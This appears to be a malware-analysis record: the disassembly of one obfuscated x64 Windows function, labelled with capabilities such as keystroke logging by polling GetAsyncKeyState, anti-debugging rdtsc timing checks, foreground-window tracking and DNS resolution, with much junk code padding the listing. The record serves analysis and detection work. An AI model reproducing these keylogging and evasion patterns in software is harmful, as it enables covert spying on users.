Function at 0x140001450
Capabilities:
Check for foreground window switch
Execute anti-debugging instructions
Get memory capacity
Log keystrokes via polling
Resolve dns

Disassembly:
sub rsp, 0x8b8
lea rbp, [rsp + 0x200]
push rbp
mov rbp, rsp
sub rsp, 0x248
add edx, ecx
xor qword [rbp - 0x131], r10
add dword [rbp - 0x10a], eax
test dword [0x140009a31], ecx
je 0x14000162d
mov dword [rbp - 0x35], ecx
mov dword [rbp - 0x206], eax
mov qword [rbp - 0x28], r9
add eax, dword [rbp - 0x35]
mov qword [rbp - 0x124], r8
mov eax, edx
mov r8, r11
mov ecx, dword [rbp - 0x16e]
add qword [rbp - 0x176], r11
add r9, qword [rbp - 0xe]
sub edx, dword [rbp - 0x1e0]
mov dword [rbp - 0x50], edx
lea r9, [rbp - 0xcb]
add rcx, r8
mov rcx, 0xe
call sub.USER32.dll_GetAsyncKeyState
or rdx, qword [rbp - 0x199]
mov dword [0x140009a2f], eax
sub qword [rbp - 0x142], r10
mov edx, 0x68dc
sub rax, 0xf16b
mov edx, eax
mov dword [rbp - 0x204], eax
add rcx, qword [0x140009a35]
call sub.msvcrt.dll_rand
mov eax, dword [rbp - 0x8c]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400015bd
mov ecx, 0x531a
lea eax, [rbp - 0xc9]
or eax, dword [rbp - 0x6a]
xor edx, dword [rbp - 0xa8]
mov rdx, qword [rbp - 0x72]
mov edx, ecx
mov r10, qword [rbp - 0x19]
mov qword [rbp - 0x12a], r8
mov rdx, qword [rbp - 0x207]
mov eax, dword [rbp - 0x90]
or edx, 0xc54
and dword [rbp - 0x114], eax
mov r8, 0x1336
mov qword [rbp - 0x9a], r11
sub r9, 0xa204
sub ecx, dword [rbp - 0x104]
mov ecx, dword [rbp - 0x22]
movzx ecx, byte [rbp - 0xa3]
mov dword [rbp - 0x13c], edx
mov r10, qword [rbp - 0x20c]
mov r8, rdx
or ecx, dword [rbp - 0x176]
mov qword [rbp - 0x13c], r10
sub eax, ecx
mov rcx, r8
and r9, qword [rbp - 0x58]
add eax, dword [rbp - 0x168]
mov eax, dword [rbp - 0x145]
mov dword [rbp - 0x22e], eax
mov r9, r8
inc qword [rsp]
mov ecx, 0x3ba
cmp ecx, dword [rsp]
jl 0x14000151b
add rsp, 0x10
add r11, qword [rbp - 0x1af]
add r11, qword [rbp - 0x196]
add qword [rbp - 0x10f], rdx
mov r8, qword [rbp - 0x1f9]
mov qword [rbp - 0xdb], rcx
call sub.KERNEL32.dll_GetTickCount
call sub.USER32.dll_GetMessageTime
mov r9, rdx
and eax, dword [rbp - 0x216]
sub rsp, 0xe0
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GetTimeZoneInformation
add rsp, 0xe0
movzx edx, al
mov qword [rbp - 0x190], r10
add ecx, dword [rbp - 0x214]
mov ax, word [rbp - 0x1ec]
call sub.USER32.dll_GetForegroundWindow
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001654
mov r11, qword [rbp - 0x24]
mov eax, dword [rbp - 0x6a]
add edx, ecx
inc qword [rsp]
cmp qword [rsp], 0xe156
jle 0x140001647
add rsp, 0x10
mov edx, eax
mov r9, qword [rbp - 0x2d]
mov qword [rbp - 0x145], r8
mov rcx, 0xd8
call sub.KERNEL32.dll_Sleep
mov dword [rbp - 0x1c7], edx
mov r11, r9
movzx edx, ah
movzx edx, byte [str.i6o68QMZc9RlAxzRE1RYiQxf9LofZXAOj87eQSjNj0hnO]
mov eax, dword [rbp - 0x47]
lea r9, [rbp - 0x7e]
mov edx, dword [rbp - 0x90]
mov eax, 0x7442
sub eax, 0xf3d7
mov edx, ecx
xor dword [rbp - 0x181], edx
add r10, 0xd579
mov eax, 0xf6ab
add qword [rbp - 0x1ef], r11
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001783
mov dword [rbp - 0x7b], edx
mov edx, dword [rbp - 0x178]
lea ecx, [rbp - 0x1ba]
mov rcx, qword [rbp - 0x169]
mov eax, 0x9c0f
xor qword [rbp - 0x169], r11
mov r9, r10
add qword [rbp - 0xb4], r8
and r9, qword [rbp - 0x1f4]
mov edx, eax
sub dword [rbp - 0x32], eax
or ah, byte [rbp - 0xec]
mov ecx, edx
add edx, 0x9f22
mov ecx, edx
and r9, qword [rbp - 0x53]
add dword [rbp - 0xd7], eax
add r10, r8
or dword [rbp - 0x93], eax
mov dword [rbp - 0x1f1], ecx
mov dword [rbp - 0x35], ecx
sub eax, ecx
mov dword [rbp - 0x137], ecx
mov r9, r11
add edx, 0xbbb6
mov dword [rbp - 0x1db], eax
mov ecx, dword [rbp - 0x87]
add r11, qword [rbp - 0x9a]
mov rax, 0x1f77
mov qword [rbp - 0x1e6], rdx
mov qword [rbp - 0x1ef], r8
sub edx, dword [rbp - 0x5f]
sub r11, 0xe290
mov rdx, 0xfab2
inc qword [rsp]
mov eax, 0xab
cmp eax, dword [rsp]
jl 0x1400016d1
add rsp, 0x10
xor rdx, 0xf883
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400017b2
mov qword [rbp - 0x1b], rdx
inc qword [rsp]
cmp qword [rsp], 0xedfb
jle 0x1400017aa
add rsp, 0x10
mov eax, dword [rbp - 0x2b]
mov rcx, 0x1d
call sub.USER32.dll_GetSystemMetrics
movzx eax, ah
or rcx, qword [0x140009a33]
add edx, dword [rbp - 0x16d]
mov rcx, qword [rbp - 0x138]
mov qword [rbp - 0x7d], r8
movzx edx, dx
and rdx, qword [rbp - 0x14b]
test ecx, 0x8a4d909a
jo 0x140001828
add rcx, r9
mov eax, edx
xor ax, word [rbp - 0x235]
mov r8, qword [rbp - 0xd6]
mov r8, r11
xor qword [0x140009a32], r8
mov r9, qword [rbp - 0x19e]
xor qword [rbp - 0x40], r8
sub qword [rbp - 0x2f], r10
leave
rdtsc
shl rdx, 0x20
or rdx, rax
mov rbx, rdx
add rbx, qword [0x1400098fb]
push rbp
mov rbp, rsp
sub rsp, 0x4c8
mov eax, dword [0x140009a39]
mov rax, qword [rbp - 0x1cd]
or dword [rbp - 0xa8], edx
call sub.msvcrt.dll_rand
movzx ecx, byte [0x140009a32]
mov r8, qword [rbp - 0x3d9]
sub rax, qword [rbp - 0x45e]
or qword [rbp - 0x200], rcx
cmp r8, 0xffffffffdbb0b47e
je 0x140001c08
call sub.KERNEL32.dll_GetCurrentProcess
mov rcx, 1
call sub.USER32.dll_GetKeyboardType
sub eax, dword [rbp - 0x104]
and r9, 0x85be
add dword [rbp - 0x3c], edx
mov ecx, dword [rbp - 0x9a]
mov rax, qword [rbp - 0x355]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001923
mov eax, 0x54f5
mov rdx, rax
mov edx, dword [rbp - 0x1fe]
add rax, qword [rbp - 0x3cb]
nop
movzx eax, dl
mov ecx, edx
and r10, rdx
sub edx, ecx
mov qword [rbp - 0x384], rcx
mov r11, qword [rbp - 0x27e]
sub r11, qword [rbp - 0x38]
mov r11, qword [rbp - 0x375]
mov rdx, qword [rbp - 0x263]
mov eax, dword [rbp - 0x8c]
movzx ecx, dl
mov rcx, qword [rbp - 0x34b]
mov eax, edx
mov ecx, dword [rbp - 0x2d6]
mov rax, r8
inc qword [rsp]
cmp qword [rsp], 0xf1a0
jle 0x1400018c4
add rsp, 0x10
add eax, ecx
mov qword [0x140009a2f], r8
mov rcx, 0x81
call sub.KERNEL32.dll_Sleep
mov dword [rbp - 0xa1], edx
sub ah, byte [rbp - 0x3cd]
or rcx, rdx
mov qword [rbp - 0xcb], r11
sub rdx, qword [rbp - 0x486]
mov rax, rdx
cmp eax, 0x2dc67332
jmp 0x140001992
xor edx, dword [rbp - 0x388]
mov r11, rax
or rax, qword [rbp - 0x1e1]
mov rax, rcx
mov eax, edx
or ecx, edx
mov r9, qword [rbp - 0x193]
mov rdx, qword [rbp - 0x354]
mov rdx, qword [rbp - 0x340]
mov qword [rbp - 0x2a5], r11
mov qword [rbp - 0x446], r8
mov edx, dword [rbp - 0x47a]
mov qword [0x140009a3a], r8
add r10, qword [rbp - 0x2c2]
sub r9, 0xa313
or ecx, eax
mov dword [rbp - 0x1d0], eax
and rdx, qword [rbp - 0x24e]
mov r10, qword [rbp - 0x402]
mov rcx, qword [rbp - 0x37a]
or dword [rbp - 0x132], edx
sub r11, qword [rbp - 0x43d]
mov r10, rax
lea rdx, [rbp - 0x349]
movzx eax, dl
mov dword [rbp - 0x357], eax
mov ecx, 0x9c0a
mov dword [rbp - 0x413], eax
mov eax, dword [0x140009a2f]
mov ecx, 0x2bbb
lea rcx, [0x140009a5f]
call sub.msvcrt.dll_printf
mov dword [rbp - 0x13b], eax
add dword [rbp - 0x412], eax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001aea
movzx edx, ax
movzx ecx, ax
lea r9, [rbp - 0x3e5]
mov eax, dword [rbp - 0x107]
and rdx, qword [rbp - 0x369]
mov dword [rbp - 6], eax
mov rax, rcx
sub eax, dword [rbp - 0x2ea]
mov dword [rbp - 0x226], ecx
mov qword [rbp - 0x136], r10
xor dh, byte [rbp - 0xdc]
mov qword [rbp - 0x2b8], r10
mov ecx, dword [rbp - 0x2f8]
mov ecx, edx
xor r8, r10
lea rax, [rbp - 0x1cb]
mov edx, ecx
mov rax, r9
mov eax, 0x286
mov dword [rbp - 0x2ce], edx
mov edx, dword [rbp - 0x48d]
or r8, qword [rbp - 0x30c]
mov eax, ecx
or edx, dword [0x140009a31]
xor dword [rbp - 0x99], edx
movzx eax, cl
movzx ecx, dl
inc qword [rsp]
cmp qword [rsp], 0x18d5
jle 0x140001a63
add rsp, 0x10
mov ecx, dword [rbp - 0x378]
call sub.USER32.dll_GetForegroundWindow
mov eax, dword [rbp - 0x203]
or dword [rbp - 0x207], eax
sub rcx, r8
sub rcx, r10
movzx ecx, dl
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001bf6
mov rcx, qword [rbp - 0x1d9]
sub rdx, qword [0x140009a2d]
mov rdx, 0x7414
and qword [rbp - 0x29f], r10
add rcx, 0xee85
mov edx, dword [rbp - 0x1a0]
mov rdx, r10
mov dword [rbp - 0x1fc], eax
mov qword [rbp - 0xf0], r8
xor rax, 0x1d6c
xor qword [rbp - 0x376], rcx
add rcx, r10
sub r10, r9
mov qword [0x140009a30], rax
mov qword [rbp - 0x364], r8
mov edx, dword [str.i6o68QMZc9RlAxzRE1RYiQxf9LofZXAOj87eQSjNj0hnO]
sub dword [rbp - 0x4bc], eax
movzx edx, ch
mov r11, rdx
mov dword [rbp - 0x3fd], eax
mov qword [rbp - 0xea], r10
sub dword [rbp - 0x17d], edx
mov qword [rbp - 0x102], r9
xor r11, qword [0x140009a2c]
or rax, 0xd3e2
mov edx, dword [rbp - 0x29f]
and edx, eax
mov ecx, 0x3ab9
mov qword [rbp - 0x250], rdx
mov r8, qword [rbp - 0x8d]
mov dword [rbp - 0x338], eax
mov qword [rbp - 0x96], rdx
mov qword [rbp - 0x3f1], r8
mov edx, dword [rbp - 0x14]
inc qword [rsp]
cmp qword [rsp], 0x4290
jle 0x140001b2d
add rsp, 0x10
leave
mov rcx, 0x3e8
call sub.KERNEL32.dll_Sleep
push rbp
mov rbp, rsp
sub rsp, 0x68
movzx edx, byte [rbp - 0x11]
mov r10, rcx
xor dword [0x140009a30], eax
mov qword [rbp - 0x53], rdx
mov rdx, r8
sub rdx, 0x8ae4
movzx ecx, byte [rbp - 0x3c]
sub edx, dword [rbp - 0x37]
cmp rcx, r11
je 0x140001ee1
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001c5a
inc qword [rsp]
cmp qword [rsp], 0x1dce
jle 0x140001c56
add rsp, 0x10
xor rax, qword [rbp - 1]
mov rcx, qword [rbp - 7]
mov r10, rax
mov qword [rbp - 0x1b], r10
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001d47
and edx, eax
mov qword [rbp - 0x3f], r11
mov r9, qword [rbp - 0x42]
lea rcx, [rbp - 0x37]
mov dword [rbp - 0x29], eax
sub qword [rbp - 0x18], rax
mov qword [rbp - 0x36], r10
lea r10, [rbp - 0x44]
or rcx, rdx
mov r11, 0xb2fa
mov dword [rbp - 0x16], ecx
and rax, qword [rbp - 0x29]
and dword [rbp - 0x43], ecx
lea rax, [rbp - 0x23]
mov dword [rbp - 0x25], edx
mov ecx, dword [rbp - 1]
mov r9, qword [rbp - 0x26]
sub dword [rbp - 0x48], ecx
add qword [0x140009a2f], rcx
sub dword [rbp - 0x3e], edx
add rdx, qword [rbp - 0xf]
mov qword [rbp - 0x56], r9
mov ax, word [rbp - 0x53]
mov r11, qword [rbp - 0x4e]
mov dword [rbp - 0x53], edx
movzx edx, ch
mov qword [rbp - 0x1c], rax
mov rcx, qword [rbp - 0x38]
mov qword [rbp - 0xd], rdx
movzx edx, dl
add r9, r10
or edx, 0x118e
mov ecx, dword [rbp - 0x55]
mov qword [rbp - 0x1b], rcx
or r11, qword [rbp - 0x4d]
add r9, 0x1b4f
add rdx, rax
movzx ecx, byte [0x140009a3a]
mov eax, edx
mov qword [rbp - 0x1d], rax
mov qword [rbp - 0x3f], r8
mov qword [rbp - 0xd], r11
xor edx, ecx
mov ecx, dword [rbp - 0x1a]
sub dword [0x140009a36], edx
mov ecx, dword [str.i6o68QMZc9RlAxzRE1RYiQxf9LofZXAOj87eQSjNj0hnO]
or rdx, rax
sub dword [rbp - 5], edx
inc qword [rsp]
cmp qword [rsp], 0xa7f3
jle 0x140001c88
add rsp, 0x10
sub rsp, 0x60
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GlobalMemoryStatus
add rsp, 0x60
mov qword [rbp - 0x3f], r8
mov eax, dword [0x140009a2e]
add dword [rbp - 0x1f], eax
mov ecx, edx
mov qword [rbp - 0x2e], rcx
mov dword [0x140009a36], eax
mov r9, qword [rbp - 0x46]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001e1a
mov r10, qword [rbp - 0x2f]
sub edx, dword [rbp - 0x33]
mov eax, 0xa845
movzx ecx, cl
mov ecx, dword [rbp - 0x5c]
movzx ecx, ax
mov qword [rbp - 0x48], rcx
mov qword [0x140009a36], r11
sub qword [rbp - 0x3a], r9
add edx, ecx
mov qword [rbp - 0x18], rdx
mov r10, qword [rbp - 0x4e]
sub dword [0x140009a2d], eax
mov eax, edx
sub qword [rbp - 0x26], rax
add r8, qword [rbp - 0x4b]
xor dword [0x140009a39], edx
mov eax, dword [0x140009a32]
movzx ecx, ah
mov edx, eax
mov edx, dword [rbp - 0x3c]
xor r11, 0x2aaa
movzx edx, cl
mov ecx, dword [rbp - 0xf]
mov ax, word [rbp - 0x40]
mov r8, 0x697c
mov edx, dword [rbp - 0x26]
mov ecx, dword [rbp - 0x4b]
mov dword [rbp - 0x50], ecx
mov r11, qword [0x140009a33]
mov r8, rdx
inc qword [rsp]
cmp qword [rsp], 0x1363
jle 0x140001d99
add rsp, 0x10
mov r10, qword [0x140009a37]
mov dword [rbp - 0xb], edx
mov dh, al
mov eax, dword [rbp - 0x2b]
or dword [rbp - 0xc], ecx
movzx eax, ch
add edx, eax
mov edx, eax
mov rax, qword [rbp - 0x5b]
add ax, word [rbp - 0xd]
sub dword [rbp - 0x14], edx
mov r10, rdx
mov qword [0x140009a2c], r11
mov rcx, 0x1e78
call sub.msvcrt.dll_srand
mov dword [rbp - 0x26], ecx
sub edx, dword [rbp - 0x3a]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001ed0
mov qword [rbp - 0x4e], r11
or r10, qword [rbp - 0x46]
movzx eax, dh
or ecx, dword [rbp - 0x37]
mov r8, qword [rbp - 0x22]
mov dword [rbp - 0x51], eax
mov qword [rbp - 0x50], rax
mov ecx, 0x9e8
or edx, eax
mov ecx, eax
mov r10, rdx
mov rcx, rax
mov dword [rbp - 0x4e], eax
and dword [rbp - 0x1f], edx
movzx edx, dh
mov edx, dword [rbp - 0x2f]
lea r8, [rbp - 7]
xor qword [rbp - 0x29], r11
mov r11, rdx
mov rcx, qword [rbp - 4]
mov qword [rbp - 0xc], rdx
mov qword [rbp - 0x4b], rdx
mov r8, qword [rbp - 7]
sub dword [rbp - 0x4b], eax
inc qword [rsp]
mov r10, 0x14ab
cmp qword [rsp], r10
jle 0x140001e7a
add rsp, 0x10
leave
rdtsc
shl rdx, 0x20
or rdx, rax
cmp rdx, rbx
jb 0x14000183c
mov rcx, rbx
call sub.msvcrt.dll_srand
lea rdi, section..data
mov rsi, qword [0x1400098d7]
mov r12, 0x39
call fcn.14000507b
push r14
push r15
push r12
push rbx
push rbp
mov rbp, rsp
sub rsp, 0x408
xor ebx, eax
mov eax, dword [rbp - 0x6d]
mov ebx, dword [rbp - 0x2a]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001fb0
mov dword [rbp - 0x3a5], ebx
movzx eax, dl
xor qword [rbp - 0x3d3], rax
mov ecx, 0xbad8
sub ecx, 0x5a81
mov edx, 0xd909
movzx eax, bh
mov dword [rbp - 0x246], ebx
mov dword [rbp - 0x9e], ebx
and dword [rbp - 0x3d0], ecx
sub qword [rbp - 0x1da], rbx
lea rbx, [rbp - 0x3d2]
and r10, qword [rbp - 0x3bc]
movzx eax, dl
mov rcx, qword [rbp - 0xe9]
and r9, qword [rbp - 0xbf]
lea rdx, [rbp - 0x18c]
mov edx, dword [rbp - 0x3e3]
mov dword [rbp - 0xc4], eax
inc qword [rsp]
mov eax, 0x6937
cmp eax, dword [rsp]
jl 0x140001f3e
add rsp, 0x10
sub qword [rbp - 0x219], rcx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400020d9
sub ebx, 0x31ca
mov dx, word [rbp - 0x97]
sub rbx, 0xaea4
mov dword [rbp - 0xe4], ecx
mov r8, 0x48bc
mov eax, dword [rbp - 0x85]
mov eax, dword [rbp - 0x64]
mov qword [rbp - 0x3cb], r10
mov r14, r12
mov r8, rbx
sub rax, qword [rbp - 0x288]
mov eax, edx
mov r15, qword [rbp - 0x2f2]
and r8, qword [rbp - 0x23d]
add r8, rax
and r12, qword [rbp - 0x15e]
mov qword [0x140009a30], rbx
sub eax, dword [rbp - 0x1d9]
mov dword [rbp - 0x244], eax
mov dword [rbp - 0x378], ecx
mov ebx, eax
mov dword [rbp - 0x24b], eax
movzx ecx, byte [rbp - 0x18b]
mov edx, eax
mov dword [rbp - 0x1e5], ecx
mov dx, word [rbp - 0x16c]
sub ecx, dword [rbp - 0x15c]
movzx eax, ah
mov dword [0x140009a33], edx
mov r9, rcx
add r12, 0x5d18
mov ecx, ebx
mov ebx, edx
sub dword [rbp - 6], ecx
mov ecx, dword [rbp - 0x3a7]
mov dword [rbp - 0x2b8], edx
mov ecx, edx
mov qword [rbp - 0x194], r9
or dword [rbp - 0x4f], edx
and r12, r11
movzx ebx, bl
movzx eax, al
mov ebx, ecx
mov rbx, 0x38cb
movzx eax, bl
mov qword [rbp - 0xd7], rdx
sub ebx, 0x892a
mov eax, dword [rbp - 0x11c]
mov rbx, qword [rbp - 0x7a]
mov dword [rbp - 0x87], edx
add ebx, dword [rbp - 0x258]
inc qword [rsp]
cmp qword [rsp], 0x82f8
jle 0x140001fd6
add rsp, 0x10
leave
pop rbx
pop r12
pop r15
pop r14
call fcn.140005de5
call fcn.140006937
cmp rax, 0
jne 0x140006d08
push rbp
mov rbp, rsp
sub rsp, 0x138
mov dword [rbp - 0x35], eax
mov rdx, qword [rbp - 0x52]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400021d8
mov r11, qword [0x140009a37]
movzx eax, ah
mov r9, qword [rbp - 0x71]
mov rcx, 0x3b07
lea r11, [rbp - 0x69]
mov rax, qword [rbp - 0x57]
sub ecx, 0x1d
mov eax, ecx
mov r9, r10
add dword [rbp - 0xd7], edx
sub dword [rbp - 0xb6], eax
mov rax, 0x1697
mov dword [rbp - 0x120], eax
mov qword [rbp - 0x67], r11
mov eax, dword [rbp - 0x40]
mov r11, r9
xor r11, qword [rbp - 0xe0]
mov ecx, dword [rbp - 0x3a]
mov r10, r8
mov qword [rbp - 0xde], rcx
movzx ecx, dh
and qword [rbp - 0xcc], rdx
sub r10, qword [rbp - 0x58]
mov dword [rbp - 0x16], eax
mov r9, qword [rbp - 0x93]
mov edx, eax
mov dword [rbp - 0xe2], eax
mov eax, dword [rbp - 0x72]
add qword [rbp - 0x89], rdx
xor eax, dword [0x140009a32]
add al, byte [rbp - 0x80]
mov ecx, dword [rbp - 0xd0]
add rdx, rcx
mov dword [rbp - 0x11f], eax
mov rdx, rax
mov edx, dword [rbp - 0x19]
sub qword [rbp - 0x33], r11
mov edx, eax
inc qword [rsp]
cmp qword [rsp], 0x50ed
jle 0x14000212a
add rsp, 0x10
movzx ecx, cl
mov rdx, qword [rbp - 0x47]
sub ecx, 0x1a97
lea r9, [rbp - 0xa5]
add rax, r11
mov ecx, dword [rbp - 0xd0]
mov edx, dword [rbp - 0xc1]
mov rcx, qword [rbp - 0xf5]
sub rdx, 0x3c3e
mov qword [rbp - 0x19], r10
or qword [rbp - 0x5f], rcx
mov ecx, dword [rbp - 0x120]
mov qword [rbp - 0xb9], r10
sub rax, qword [rbp - 0xb3]
leave
call fcn.140006b3c
cmp rax, 0
jne 0x140006d08
push rdi
push r13
push r12
push rbx
push r14
push rbp
mov rbp, rsp
sub rsp, 0x4b8
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000228e
movzx ecx, al
mov rcx, qword [rbp - 0x4f]
xor cx, word [rbp - 0x45d]
mov rbx, qword [rbp - 0x3a9]
mov eax, dword [rbp - 0x147]
movzx ecx, byte [rbp - 0x39b]
inc qword [rsp]
mov r9, 0x3fad
cmp qword [rsp], r9
jle 0x140002268
add rsp, 0x10
add ecx, 0x130c
movzx eax, bh
mov r14, 0x9c9b
movzx ecx, dh
mov edi, edx
movzx edi, bh
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400022d7
add qword [rbp - 0x2b7], rax
mov r11, qword [rbp - 0x36f]
inc qword [rsp]
mov r12, 0x7f43
cmp qword [rsp], r12
jle 0x1400022c5
add rsp, 0x10
mov edi, ebx
mov qword [rbp - 0x190], r14
xor r12, 0x1a8d
mov dword [rbp - 0x91], ecx
mov dword [0x140009a38], edx
mov qword [rbp - 0x333], rax
mov qword [rbp - 0xc6], r14
mov qword [rbp - 0x405], r11
mov r10, rdi
or dword [rbp - 0x18e], edi
mov dword [rbp - 0x2e5], edi
mov dword [rbp - 0x295], ecx
mov edi, dword [rbp - 0x49e]
mov ebx, edx
mov qword [rbp - 0x1e5], r11
mov qword [rbp - 0xd6], r9
add r13, qword [rbp - 0x1db]
add dword [rbp - 0x405], edi
and rcx, qword [rbp - 0x1bd]
mov qword [rbp - 0x57], rcx
mov edx, dword [rbp - 0x83]
mov ecx, dword [rbp - 0x1f]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400023bc
lea rax, [rbp - 0x100]
sub edi, 0x5b53
mov r12, rbx
mov rax, qword [rbp - 0x9c]
mov ecx, dword [rbp - 0x493]
mov rbx, qword [rbp - 0x45]
sub ebx, dword [rbp - 0x394]
mov qword [rbp - 0xaf], rax
mov rbx, qword [rbp - 0x353]
mov qword [0x140009a39], rbx
mov edi, dword [rbp - 0x42d]
mov rcx, r10
inc qword [rsp]
mov r14, 0x7342
cmp qword [rsp], r14
jle 0x140002373
add rsp, 0x10
mov dword [rbp - 0x49c], ecx
add ebx, dword [rbp - 0x41d]
mov rcx, qword [rbp - 0x446]
xor r12, qword [rbp - 0x35f]
sub r14, 0xba7d
mov qword [rbp - 0x34d], r8
mov edi, dword [rbp - 0x2b6]
mov rdx, qword [rbp - 0x43b]
mov rdx, qword [0x140009a35]
mov edx, dword [rbp - 0x43c]
or rcx, r11
mov dword [rbp - 0x369], edi
xor qword [rbp - 0x3c1], rcx
lea ecx, [rbp - 0x4ae]
movzx ecx, ch
mov qword [0x140009a30], r14
mov r14, qword [rbp - 0x244]
lea r12, [rbp - 0x454]
mov dword [rbp - 0x1e0], eax
mov edi, 0x4c8d
mov rax, rbx
cmp ecx, 0x42dbef32
jmp 0x14000247f
leave
pop r14
pop rbx
pop r12
pop r13
pop rdi
lea rdx, [rbp - 0x40]
mov rcx, 0x202
mov rax, qword [0x14000995b]
call rax
test eax, eax
jne 0x140004dd5
push rbp
mov rbp, rsp
sub rsp, 0x68
mov dword [rbp - 0x31], eax
mov qword [0x140009a38], rax
mov dword [rbp - 0x30], eax
lea r11, [rbp - 0x29]
mov r10, r11
xor qword [rbp - 0x2f], rdx
mov rdx, r11
sub qword [rbp - 0x5d], rdx
mov dword [rbp - 0x36], ecx
mov eax, edx
mov eax, edx
mov rax, r9
mov rdx, r11
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400024fc
add ecx, dword [0x140009a35]
mov edx, eax
mov dword [rbp - 0x15], eax
mov qword [rbp - 0x54], r9
mov r10, r9
inc qword [rsp]
mov r9, 0x6f5b
cmp qword [rsp], r9
jle 0x1400024e6
add rsp, 0x10
sub dword [rbp - 0x1c], edx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400025d9
mov r9, rcx
mov rax, qword [rbp - 0x19]
mov edx, dword [rbp - 5]
mov r10, 0xe6e3
mov r9, qword [rbp - 9]
mov dword [0x140009a31], edx
sub edx, dword [rbp - 0x51]
mov qword [rbp - 0x28], r8
mov dword [rbp - 0x49], eax
sub ecx, dword [rbp - 0x3d]
lea rax, [rbp - 2]
sub qword [rbp - 0x45], r11
mov r11, qword [rbp - 0x4e]
and dword [rbp - 0x3a], ecx
mov r11, qword [rbp - 0x4e]
mov dword [rbp - 0x51], eax
add edx, dword [rbp - 0x15]
mov ax, word [0x140009a35]
mov ch, byte [rbp - 0x3c]
movzx edx, word [rbp - 0x47]
mov rcx, r8
xor r11, qword [rbp - 0xc]
mov dword [rbp - 0x17], ecx
sub eax, 0x1389
add ecx, edx
lea edx, [rbp - 0x28]
sub rdx, rcx
sub edx, dword [rbp - 0x4e]
add r8, r10
mov qword [rbp - 0x56], r11
mov r8, qword [rbp - 7]
mov eax, edx
sub r11, rdx
add rdx, 0x3827
mov qword [rbp - 0x24], r9
xor qword [rbp - 0x53], rcx
mov ecx, dword [rbp - 0x17]
or rdx, qword [rbp - 0x2a]
mov ecx, dword [rbp - 0x22]
mov r9, qword [rbp - 7]
mov rcx, qword [rbp - 0x27]
movzx ecx, dh
add r10, qword [rbp - 0x16]
mov eax, dword [rbp - 0x46]
mov qword [rbp - 0x1e], r8
mov r10, rcx
mov ecx, dword [rbp - 0x3f]
add dword [rbp - 0x33], eax
mov edx, dword [rbp - 0x3b]
inc qword [rsp]
mov rdx, 0x8857
cmp qword [rsp], rdx
jle 0x140002521
add rsp, 0x10
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002600
inc qword [rsp]
cmp qword [rsp], 0xc18e
jle 0x1400025fc
add rsp, 0x10
leave
rdtsc
mov dword [0x1400091b7], eax
lea rsi, [0x14000910d]
mov r10, 0
call fcn.14000579f
push rbp
mov rbp, rsp
sub rsp, 0x1a8
mov ecx, dword [rbp - 0x25]
mov qword [rbp - 0x90], r9
sub dword [0x140009a36], eax
mov dh, al
xor rdx, 0x5466
and qword [0x140009a2e], rax
xor ecx, dword [rbp - 0x7a]
mov rdx, 0x91bc
add dword [rbp - 0x131], eax
add qword [rbp - 0x13f], r11
mov rax, 0x3b84
mov eax, dword [rbp - 0x152]
and eax, edx
lea r10, [rbp - 0x2d]
mov rdx, r11
sub rcx, qword [0x140009a2c]
sub qword [rbp - 0x128], rax
mov r10, rax
sub ecx, dword [rbp - 0xdc]
movzx eax, ah
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400026dc
movzx eax, al
add qword [rbp - 0xa6], rcx
mov dword [0x140009a39], eax
add eax, dword [rbp - 7]
mov qword [rbp - 0x9c], r10
and eax, dword [rbp - 0x196]
mov rax, qword [rbp - 0x17e]
mov qword [rbp - 0x13f], rdx
inc qword [rsp]
mov ecx, 0x452e
cmp ecx, dword [rsp]
jl 0x1400026aa
add rsp, 0x10
lea eax, [rbp - 0x8f]
lea r8, [rbp - 0xe2]
mov rcx, qword [rbp - 0x161]
lea rdx, [rbp - 0x5d]
mov r11, qword [rbp - 0x28]
lea ecx, [rbp - 0x67]
mov rax, qword [0x140009a2e]
add ecx, edx
sub rdx, rcx
mov ecx, eax
mov qword [rbp - 0x173], r9
mov rcx, 0x11b0
mov eax, dword [rbp - 0x149]
mov r8, r9
add qword [rbp - 0x106], r8
mov qword [0x140009a37], r9
mov edx, ecx
cmp eax, 0x262a318a
jmp 0x1400027b3
leave
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x60], 0x18
mov qword [rbp + 0x68], 0
mov dword [rbp + 0x70], 1
push rbp
mov rbp, rsp
sub rsp, 0x448
sub edx, dword [rbp - 0x359]
mov dword [rbp - 0x24c], eax
mov r10, qword [rbp - 0x1b4]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002812
sub qword [rbp - 0x159], r11
mov edx, eax
mov qword [rbp - 0x291], r10
inc qword [rsp]
mov eax, 0x9805
cmp eax, dword [rsp]
jl 0x1400027fe
add rsp, 0x10
movzx eax, byte [rbp - 0x1a4]
mov dword [rbp - 0x41f], ecx
movzx ecx, dl
cmp rcx, qword [0x140009a36]
je 0x140002895
mov edx, ecx
movzx ecx, dx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002859
movzx ecx, dl
and eax, dword [rbp - 0x1f7]
inc qword [rsp]
cmp qword [rsp], 0xa84b
jle 0x14000284c
add rsp, 0x10
mov r11, qword [rbp - 0x23f]
mov qword [rbp - 0x3cf], r11
mov qword [rbp - 0xec], r11
mov ecx, dword [rbp - 0x91]
add edx, dword [rbp - 0x141]
